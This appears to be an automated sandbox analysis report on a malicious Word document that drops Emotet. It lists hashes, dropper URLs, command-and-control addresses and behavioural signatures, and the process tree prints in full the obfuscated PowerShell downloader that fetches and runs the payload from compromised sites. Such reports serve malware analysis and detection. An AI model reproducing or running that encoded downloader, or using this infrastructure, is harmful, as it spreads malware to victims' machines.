Analysis
- max time kernel
139s - max time network
141s - platform
windows10_x64 - resource
win10v200722 - submitted
29/09/2020, 00:29
Static task
static1
Behavioral task
behavioral1
Sample
NSETHA2020-09.doc
Resource
win7
General
- Target NSETHA2020-09.doc
- Size 138KB
- Sample200929-yk31afce2j
- SHA256 13b98d2f0d07581934fcff17efd69c9924d5cc1d0bb874c28eaaeb497cba7bb4
- MD5 e222f7c5d4f17f4222323441f4ca1f63
- SHA1 9be04e3a57a50e71d72ca650fcac4438c3913fea
- SHA512 cc6dc0e635db62499261099ec38bf1cb3db93a27c92f3252da3f26b8afa35f514eac0a67e592709021bead46da7d4d3e1fe67cb42d027ec84e856e0606a089d8
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
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exe.dropper
http://edu.jmsvclass.com/wp-includes/sZmjSq/
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exe.dropper
http://darkblessing.net/e4wftkpn/KNAO9/
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exe.dropper
http://trancisconsulting.com/wp-admin/EEoF/
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exe.dropper
http://devanyastore.com/wp-content/9J56juA/
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exe.dropper
http://healthcureathome.com/ALFA_DATA/iKSdCK6/
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exe.dropper
http://www.szwymall.com/wp-content/j29mvS/
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exe.dropper
http://www.jornco.com/wp-admin/UT0xBJw/
Extracted
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emotet
-
38.18.235.242:80
-
5.196.108.189:8080
-
121.124.124.40:7080
-
104.236.246.93:8080
-
113.61.66.94:80
-
120.150.60.189:80
-
91.211.88.52:7080
-
47.144.21.12:443
-
108.46.29.236:80
-
139.162.108.71:8080
-
134.209.36.254:8080
-
139.59.60.244:8080
-
66.65.136.14:80
-
76.175.162.101:80
-
174.106.122.139:80
-
95.213.236.64:8080
-
174.45.13.118:80
-
50.35.17.13:80
-
209.141.54.221:8080
-
87.106.139.101:8080
-
96.249.236.156:443
-
176.111.60.55:8080
-
85.96.199.93:80
-
87.106.136.232:8080
-
97.82.79.83:80
-
185.94.252.104:443
-
79.98.24.39:8080
-
142.112.10.95:20
-
5.196.74.210:8080
-
94.1.108.190:443
-
24.137.76.62:80
-
121.7.127.163:80
-
37.139.21.175:8080
-
213.196.135.145:80
-
83.169.36.251:8080
-
24.179.13.119:80
-
137.59.187.107:8080
-
181.169.34.190:80
-
139.130.242.43:80
-
42.200.107.142:80
-
140.186.212.146:80
-
74.208.45.104:8080
-
188.219.31.12:80
-
105.186.233.33:80
-
93.147.212.206:80
-
194.187.133.160:443
-
61.19.246.238:443
-
85.152.162.105:80
-
5.39.91.110:7080
-
71.72.196.159:80
-
24.43.99.75:80
-
139.162.60.124:8080
-
124.41.215.226:80
-
67.10.155.92:80
-
109.74.5.95:8080
-
78.187.156.31:80
-
195.7.12.8:80
-
187.49.206.134:80
-
123.176.25.234:80
-
157.245.99.39:8080
-
78.188.106.53:443
-
94.200.114.161:80
-
94.23.237.171:443
-
104.251.33.179:80
-
68.252.26.78:80
-
75.139.38.211:80
-
103.86.49.11:8080
-
62.75.141.82:80
-
172.104.97.173:8080
-
79.137.83.50:443
-
110.142.236.207:80
-
162.241.242.173:8080
-
78.24.219.147:8080
-
91.146.156.228:80
-
118.83.154.64:443
-
216.139.123.119:80
-
121.7.31.214:80
-
181.169.235.7:80
-
139.99.158.11:443
-
172.91.208.86:80
-
46.105.131.79:8080
-
104.131.11.150:443
-
110.145.77.103:80
-
82.80.155.43:80
-
168.235.67.138:7080
-
50.91.114.38:80
-
137.119.36.33:80
-
203.153.216.189:7080
-
37.187.72.193:8080
-
24.43.32.186:80
-
130.0.132.242:80
-
80.241.255.202:8080
-
220.245.198.194:80
-
190.240.194.77:443
-
89.216.122.92:80
-
1.221.254.82:80
-
104.131.44.150:8080
-
62.30.7.67:443
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2592 4076 POwersheLL.exe 73 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3976-16-0x00000000001D0000-0x00000000001E2000-memory.dmp emotet behavioral2/memory/3976-16-0x00000000001D0000-0x00000000001E2000-memory.dmp emotet behavioral2/memory/3976-17-0x00000000001F0000-0x0000000000200000-memory.dmp emotet behavioral2/memory/3976-17-0x00000000001F0000-0x0000000000200000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 22 2592 POwersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3976 Onj2qmzt.exe 3332 kbdnecnt.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\EdgeManager\kbdnecnt.exe Onj2qmzt.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 956 WINWORD.EXE 956 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2592 POwersheLL.exe 2592 POwersheLL.exe 2592 POwersheLL.exe 3332 kbdnecnt.exe 3332 kbdnecnt.exe 3332 kbdnecnt.exe 3332 kbdnecnt.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2592 POwersheLL.exe - Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 956 WINWORD.EXE 956 WINWORD.EXE 956 WINWORD.EXE 956 WINWORD.EXE 956 WINWORD.EXE 956 WINWORD.EXE 956 WINWORD.EXE 956 WINWORD.EXE 956 WINWORD.EXE - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2592 wrote to memory of 3976 2592 POwersheLL.exe 80 PID 2592 wrote to memory of 3976 2592 POwersheLL.exe 80 PID 2592 wrote to memory of 3976 2592 POwersheLL.exe 80 PID 3976 wrote to memory of 3332 3976 Onj2qmzt.exe 82 PID 3976 wrote to memory of 3332 3976 Onj2qmzt.exe 82 PID 3976 wrote to memory of 3332 3976 Onj2qmzt.exe 82
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\NSETHA2020-09.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:956
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABNAHYAbQA5AHgAZABwAD0AKAAoACcARwB2AHkANgAnACsAJwB0ACcAKwAnAF8AJwApACsAJwA4ACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUATgB2ADoAVQBzAEUAUgBwAHIATwBGAGkATABlAFwAVAA0AFkAeQBlAFIAOABcAGgASgBfAE0ARgBaAFYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIAZQBjAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAGAAVQByAGkAYABUAGAAWQBwAFIATwBgAFQATwBDAE8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzACcAKwAnADEAMgAsACAAdABsAHMAJwArACcAMQAxACwAJwApACsAJwAgACcAKwAnAHQAbAAnACsAJwBzACcAKQA7ACQAQgAzAHUAbwBuAHQAMQAgAD0AIAAoACgAJwBPAG4AagAnACsAJwAyACcAKQArACgAJwBxACcAKwAnAG0AegAnACkAKwAnAHQAJwApADsAJABJAGQAdAA2ADQAZQBuAD0AKAAoACcARAA4ACcAKwAnADMAaAAnACkAKwAoACcANAAnACsAJwB1AHkAJwApACkAOwAkAFoAcgB0AG8AMwA2AGYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAYwAnACsAJwBHACcAKwAoACcATAAnACsAJwBUADQAJwApACsAKAAnAHkAJwArACcAeQBlACcAKQArACgAJwByACcAKwAnADgAYwAnACkAKwAnAEcAJwArACgAJwBMACcAKwAnAEgAagBfACcAKQArACgAJwBtACcAKwAnAGYAegB2AGMARwBMACcAKQApAC4AIgBSAGUAYABQAEwAQQBDAGUAIgAoACgAWwBDAGgAYQByAF0AOQA5ACsAWwBDAGgAYQByAF0ANwAxACsAWwBDAGgAYQByAF0ANwA2ACkALAAnAFwAJwApACkAKwAkAEIAMwB1AG8AbgB0ADEAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABJAG8AdAA1AGMAegBrAD0AKAAoACcATQAnACsAJwAzADMAcQA2ADAAJwApACsAJwBmACcAKQA7ACQATgByAG8AbQBvAGcAcgA9AC4AKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiAGoAZQBjAHQAJwApACAAbgBFAFQALgB3AGUAQgBDAEwASQBFAG4AdAA7ACQARQBvADYAMQB4AGMAbwA9ACgAKAAnAGgAdAB0AHAAJwArACcAOgAnACsAJwAvACcAKQArACcALwAnACsAJwBlACcAKwAnAGQAdQAnACsAJwAuAGoAJwArACgAJwBtAHMAJwArACcAdgAnACkAKwAoACcAYwBsAGEAcwBzAC4AYwBvAG0AJwArACcALwAnACsAJwB3AHAALQBpAG4AJwArACcAYwAnACkAKwAoACcAbAB1AGQAJwArACcAZQBzACcAKQArACcALwBzACcAKwAoACcAWgAnACsAJwBtAGoAJwApACsAKAAnAFMAcQAnACsAJwAvACoAJwArACcAaAB0ACcAKQArACcAdABwACcAKwAnADoAJwArACcALwAnACsAKAAnAC8AJwArACcAZABhAHIAJwApACsAJwBrACcAKwAoACcAYgBsAGUAcwAnACsAJwBzACcAKQArACcAaQBuACcAKwAoACcAZwAuACcAKwAnAG4AZQAnACkAKwAoACcAdAAvAGUAJwArACcANAB3AGYAdAAnACkAKwAnAGsAJwArACcAcABuACcAKwAoACcALwBLAE4AQQBPADkALwAqAGgAdAB0AHAAOgAvAC8AdAAnACsAJwByAGEAJwArACcAbgAnACsAJwBjAGkAJwArACcAcwAnACsAJwBjAG8AbgBzACcAKQArACgAJwB1ACcAKwAnAGwAdABpACcAKQArACcAbgBnACcAKwAnAC4AYwAnACsAJwBvAG0AJwArACgAJwAvACcAKwAnAHcAcAAtAGEAJwApACsAJwBkACcAKwAoACcAbQBpAG4ALwAnACsAJwBFAEUAJwApACsAJwBvAEYAJwArACcALwAqACcAKwAoACcAaAB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBkAGUAdgBhAG4AJwArACcAeQBhAHMAJwArACcAdABvAHIAZQAnACkAKwAoACcALgBjACcAKwAnAG8AJwApACsAJwBtAC8AJwArACcAdwAnACsAKAAnAHAALQBjAG8AJwArACcAbgAnACsAJwB0AGUAJwApACsAJwBuACcAKwAoACcAdAAvACcAKwAnADkASgA1ADYAJwApACsAJwBqAHUAJwArACcAQQAnACsAKAAnAC8AJwArACcAKgBoAHQAJwArACcAdABwACcAKQArACcAOgAvACcAKwAnAC8AaAAnACsAKAAnAGUAJwArACcAYQBsAHQAaABjAHUAJwArACcAcgBlACcAKQArACcAYQAnACsAKAAnAHQAJwArACcAaABvAG0AJwApACsAKAAnAGUALgAnACsAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBBAEwARgAnACsAJwBBAF8AJwApACsAJwBEAEEAJwArACcAVAAnACsAKAAnAEEALwAnACsAJwBpACcAKQArACgAJwBLACcAKwAnAFMAZAAnACkAKwAnAEMAJwArACgAJwBLACcAKwAnADYALwAqAGgAJwArACcAdAB0ACcAKwAnAHAAOgAnACkAKwAnAC8ALwAnACsAJwB3AHcAJwArACcAdwAnACsAJwAuAHMAJwArACgAJwB6AHcAJwArACcAeQAnACkAKwAnAG0AJwArACgAJwBhAGwAJwArACcAbAAuACcAKQArACcAYwAnACsAKAAnAG8AJwArACcAbQAvACcAKQArACcAdwAnACsAJwBwACcAKwAoACcALQAnACsAJwBjAG8AJwApACsAKAAnAG4AdABlACcAKwAnAG4AJwArACcAdAAvACcAKQArACcAagAnACsAKAAnADIAJwArACcAOQBtACcAKQArACgAJwB2ACcAKwAnAFMALwAqAGgAdAB0ACcAKwAnAHAAOgAvACcAKQArACgAJwAvAHcAdwAnACsAJwB3AC4AJwApACsAKAAnAGoAbwByAG4AYwBvAC4AYwBvACcAKwAnAG0AJwArACcALwB3ACcAKwAnAHAAJwArACcALQAnACkAKwAnAGEAJwArACgAJwBkACcAKwAnAG0AaQBuACcAKQArACgAJwAvACcAKwAnAFUAVAAwACcAKQArACgAJwB4AEIAJwArACcASgB3AC8AJwApACkALgAiAHMAYABwAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVgBtAGwAXwA4AHIAcQA9ACgAKAAnAEgAJwArACcAeQBvACcAKQArACgAJwBkAGUAJwArACcAbAAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAQgBrAHUAXwB0AGQAXwAgAGkAbgAgACQARQBvADYAMQB4AGMAbwApAHsAdAByAHkAewAkAE4AcgBvAG0AbwBnAHIALgAiAEQAYABvAGAAdwBuAEwATwBhAGQAZgBpAGwARQAiACgAJABCAGsAdQBfAHQAZABfACwAIAAkAFoAcgB0AG8AMwA2AGYAKQA7ACQAUABuAGYAOQBmAHoAdAA9ACgAKAAnAFYAZwBvAGEAJwArACcAbgAnACkAKwAnADkAJwArACcAbQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAWgByAHQAbwAzADYAZgApAC4AIgBMAEUAYABOAGcAYABUAEgAIgAgAC0AZwBlACAAMgAzADIANQAzACkAIAB7AC4AKAAnAEkAbgB2AG8AJwArACcAawBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAFoAcgB0AG8AMwA2AGYAKQA7ACQAWABvAHEAaQB5AHIANQA9ACgAKAAnAEIAdQBvACcAKwAnAGwAaAAnACkAKwAnAGkAZgAnACkAOwBiAHIAZQBhAGsAOwAkAFkANgByADUAaAAxAGUAPQAoACcAUwAnACsAJwBmACcAKwAoACcAMgBkAHEAJwArACcAZABuACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAG0AaQA5AGsAdgA5AD0AKAAnAEkAXwAnACsAKAAnAGQAZgBlACcAKwAnAG0AeAAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2592 -
C:\Users\Admin\T4yyer8\Hj_mfzv\Onj2qmzt.exe"C:\Users\Admin\T4yyer8\Hj_mfzv\Onj2qmzt.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3976 -
C:\Windows\SysWOW64\EdgeManager\kbdnecnt.exe"C:\Windows\SysWOW64\EdgeManager\kbdnecnt.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3332
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